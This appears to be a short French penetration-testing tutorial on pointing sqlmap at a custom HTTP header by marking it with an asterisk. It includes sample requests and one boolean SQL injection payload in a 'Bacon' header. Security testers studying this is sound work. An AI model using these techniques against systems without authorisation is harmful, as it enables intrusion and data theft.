Lors d’un test d’intrusion, sqlmap permet un contrôle précis des différents points d’injection d’une injection SQL.
Par exemple, les en-têtes HTTP Cookie, Referer et User-Agent peuvent être attaqués en précisant les bonnes options:
--level=2 // Attaque l’en-tête Cookie –level=3 // Attaque l’en-tête User-Agent, ainsi que l’en-tête Referer –level=5 // Attaque l’en-tête Host
Mais que faire si l’on veut injecter un en-tête HTTP personnalisé qui ne figure pas dans cette liste prédéfinie? Examinons une requête réelle pour mieux saisir ce que nous visons.
GET /feedback.html HTTP/1.1
Host: www.superconfigure.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: whatever
Referer: https://www.superconfigure.com/feedback.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,fr;q=0.4
Bacon: injectMe
Cookie: blog=okiok
Dans cette requête toute ordinaire, l’en-tête HTTP qui nous intéresse est mis en évidence. Pour que sa valeur soit testée par sqlmap, il suffit de modifier l’en-tête comme suit, ce qui indique à sqlmap qu’il s’agit d’un point d’injection personnalisé:
Bacon: *
C’est simple: aucun ‐‐level ni ‐‐risk n’est nécessaire, sqlmap mènera son attaque sur cet en-tête HTTP:
GET /feedback.html HTTP/1.1
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,fr;q=0.4
Accept-Encoding: gzip,deflate
Bacon: ) AND 9816=9267 AND (3941=3941
Host: www.superconfigure.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: whatever
Connection: close
Referer: https://www.superconfigure.com/feedback.html
Cookie: blog=okiok
